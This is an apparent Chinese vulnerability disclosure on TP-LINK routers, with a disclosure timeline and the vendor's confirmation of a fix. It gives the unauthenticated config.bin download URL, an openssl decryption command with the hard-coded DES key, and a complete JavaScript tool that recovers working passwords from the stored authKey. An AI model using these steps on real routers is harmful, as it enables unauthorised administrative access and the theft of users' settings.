2015-04-24: 细节已通知厂商并且等待厂商处理中 2015-04-28: 厂商已经确认,细节仅向厂商公开 2015-05-01: 细节向第三方安全合作伙伴开放 2015-06-22: 细节向核心白帽子及相关领域专家公开 2015-07-02: 细节向普通白帽子公开 2015-07-12: 细节向实习白帽子公开 2015-07-27: 细节向公众公开
TP-LINK在2014年底发布的无线路由器(厂家称为新用户界面)存在一系列致命的漏洞。黑客可以任意下载配置文件,绕过设备认证,随意修改系统配置,造成用户敏感信息泄露,造成极大危害。
具体操作过程:1.漏洞1,任意下载config.bin[路由器配置文件] 例如:http://192.168.1.1/config.bin2.openssl enc -d -des-ecb -nopad -K 478DA50BF9E3D2CF -in config.bin 提取配置信息。3.找到首行
authKey 0rZily4W9TefbwK
此为加密过的用户后台登陆密码。4.漏洞2,Query.js存在算法BUG.经过研究这段加密字串“0rZily4W9TefbwK”通过用户浏览器运算生成,且存在算法漏洞。5.加密字串虽不可逆,但存在大量碰撞,即任意字符可生成相同的加密字串。破解文件html网页格式【自行转存】。找个数据库软件,用最后生成的SQL脚本【笛卡尔积】生成的每一组字符串均可登录后台。【网页格式,代码部分另存成网页html文件】6.wooyun我要注册会员
测试工具【网页格式,代码部分另存成网页html文件】
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>TPLINK_Auth_Key_计算器 作者:青岛小哥 email:qdpp007@outlook.com</title><script type="text/javascript">function $(id){ return document.getElementById(id);}function orgAuthPwd (pwd) { var strDe = "RDpbLfCPsJZ7fiv"; /*字符宽度15*/ var dic = "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciX"+ "TysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgML"+ "wygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3"+ "sfQ1xtXcPcf1aT303wAQhv66qzW"; /*字符宽度255*/ $('dspDic').value=dic; $('dspPwd').value=pwd; $('dspStrDe').value=strDe; return securityEncode(pwd, strDe, dic); }function securityEncode (input1, input2, input3) { var dictionary = input3; /*=255*/ var output = ""; var len, len1, len2, lenDict; var cl = 0xBB, cr = 0xBB; len1 = input1.length; /*len1=6~15*/ len2 = input2.length; /*len2=15*/ lenDict = dictionary.length; /*lenDict=255*/ len = len1 > len2 ? len1 : len2; /*密码限定宽度最大15位,len恒等于15*/ for (var index = 0; index < len; index++) /*index= 0 to 14*/ { cl = 0xBB; cr = 0xBB; if (index >= len1) /*如果密码位数=14执行1次,=15不执行,=13执行2次,=12 3,11 4,10 5,9 6...保证取所有密码字符unicode*/ { cr = input2.charCodeAt(index); } else if (index >= len2) /*14>=15,永远不执行!*/ { cl = input1.charCodeAt(index); } else { cl = input1.charCodeAt(index); /*取所有密码字符unicode,超出部分取0xBB,补足15位*/ cr = input2.charCodeAt(index); /*cr恒等于:82,68,112,98,76,102,67,80,115,74,90,55,102,105,118*/ } output += dictionary.charAt((cl ^ cr)%lenDict); /*cl取所有密码字符unicode与cr异或mod 255*/ } return output; }function lgDoSub() { var lgPwd = $('pwd').value; var result; var strAsc=''; result = orgAuthPwd(lgPwd); for (var ix = 32 ;ix < 127;ix++) /*32~126可见字符*/ { strAsc += String.fromCharCode(ix); } $('dspAsc').value=strAsc; $('dspAuthKey').value=result; $('dspLen').value=result.length; }function AuthKeyCup() { var arrayPasswd = new Array(15); var passwdLen=0; var authkey = $('authKey').value; var strDe = "RDpbLfCPsJZ7fiv"; var dic = "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciX"+ "TysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgML"+ "wygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3"+ "sfQ1xtXcPcf1aT303wAQhv66qzW"; /*字符宽度255*/ var passwd=''; for(var crIndex=0,passwdList,strComp_authkey,codeCr;crIndex<15;crIndex++) { passwdList=''; strComp_authkey=authkey.charAt(crIndex); codeCr=strDe.charCodeAt(crIndex); /*cr恒等于:82,68,112,98,76,102,67,80,115,74,90,55,102,105,118*/ for(var index=32,strtmp,codeCl,strDic;index<127;index++) { strtmp = String.fromCharCode(index); codeCl = strtmp.charCodeAt(0); strDic = dic.charAt((codeCl ^ codeCr)%255); if (strComp_authkey==strDic) { passwdList += strtmp; continue; } } arrayPasswd[crIndex]=passwdList; } for(var i=0;i<15;i++) { if(arrayPasswd[i].length==0) { passwdLen=i; break; /*密码长度=i,密码长度=0退出外循环*/ } else if (i==14) { passwdLen=15; } } for(var i=0;i<passwdLen;i++) { passwd+=arrayPasswd[i]+'\r\n'; } $('dspPasswd').value=passwd; passwd=''; for(var i=0;i<passwdLen;i++) { passwd+="drop table t"+i+";\r\n"; passwd+="CREATE TABLE t"+i+"(pwd nvarchar(50) NULL);\r\n"; for(var j=0;j<arrayPasswd[i].length;j++) { passwd+="insert into t" + i + " values('" + arrayPasswd[i].substr(j,1)+"');\r\n"; } } passwd+="select t0.pwd,t1.pwd,t2.pwd,t3.pwd,t4.pwd,t5.pwd,t6.pwd,t7.pwd from t0,t1,t2,t3,t4,t5,t6,t7"; $('dspSql').value=passwd;// var arrayXH = new Array(passwdLen);// for(var j=0;j<passwdLen;j++)// {// arrayXH[j]=arrayPasswd[j].length; // }// for(var j=0;j<passwdLen;j++)// {// for(var k=0;k<arrayXH[j];k++)// {// k*10+// }// } }</script></head><body><span style="text-align:center">TPLINK_Auth_Key_计算器(新用户界面登录密码演算) 作者:青岛小哥 email:<a href="mailto:qdpp007@outlook.com">qdpp007@outlook.com</a></span><br /><span style="text-align:center">免责声明:本计算器程序(方法)可能带有攻击性,仅供安全研究与教学之用,<br />用户将其信息做其他用途,由用户承担全部法律及连带责任,本人不承担任何法律及连带责任。 </span><form action="" method="get"><fieldset><legend>源码测试</legend>密码[最小6位]: <input name="pwd" type="text" id="pwd" size="15" maxlength="15" /><input type="button" name="btnOK" id="btnOK" value="计算KEY" onclick="lgDoSub()" /><br /><br />显示 pwd:<input name="dspPwd" type="text" id="dspPwd" /><br /><br />显示 strDe:<input name="dspStrDe" type="text" id="dspStrDe" /><br /><br />显示 Dic:<textarea name="dspDic" cols="70" rows="4" id="dspDic"></textarea><br /><br />显示 ASC码表:<textarea name="dspAsc" cols="70" rows="2" id="dspAsc"></textarea><br /><br />结果 Auth_key:<input name="dspAuthKey" type="text" id="dspAuthKey" />字符宽度:<input name="dspLen" type="text" id="dspLen" size="5" /></fieldset></form><br /><br /><form action="" method="get"><fieldset><legend>你懂得</legend> Auth_key【演示字符19830917】: <input name="authKey" type="text" id="authKey" value="0rZily4W9TefbwK" size="15" maxlength="15" /> <input type="button" name="btnCup" id="btnCup" value="解密KEY" onclick="AuthKeyCup()" /> 15位:0rZily4W9TefbwK<br /> <br />原始密码字符【从首行由上到下,每行任选1个字符对应密码一位,组成密码串,N行字符==N位密码】:<br /> <textarea name="dspPasswd" cols="70" rows="10" id="dspPasswd"></textarea> <br /> <br /> 数据库查询SQL: <textarea name="dspSql" cols="70" rows="10" id="dspSql"></textarea></fieldset></form></body></html>
厂商修复。库函数Query.js修补。
危害等级:中
漏洞Rank:10
确认时间:2015-04-28 17:09
2015-04-28:危害等级认定说明:配置文件需有线连接或无线接入的终端才能下载,有线连接是物理连接,需要能够接触到路由器实物,无线接入需要知道无线密码,从这个角度选中级。TP-LINK 已经完成对此漏洞的技术调查,并已发布升级软件解决此问题。相关软件的下载链接为:http://service.tp-link.com.cn/detail_download_2043.html 。TP-LINK始终关注技术提升和安全合作,非常感谢您的信息和沟通,我们相信在我们的共同努力下,用户将获得更为安全的互联网体验,谢谢!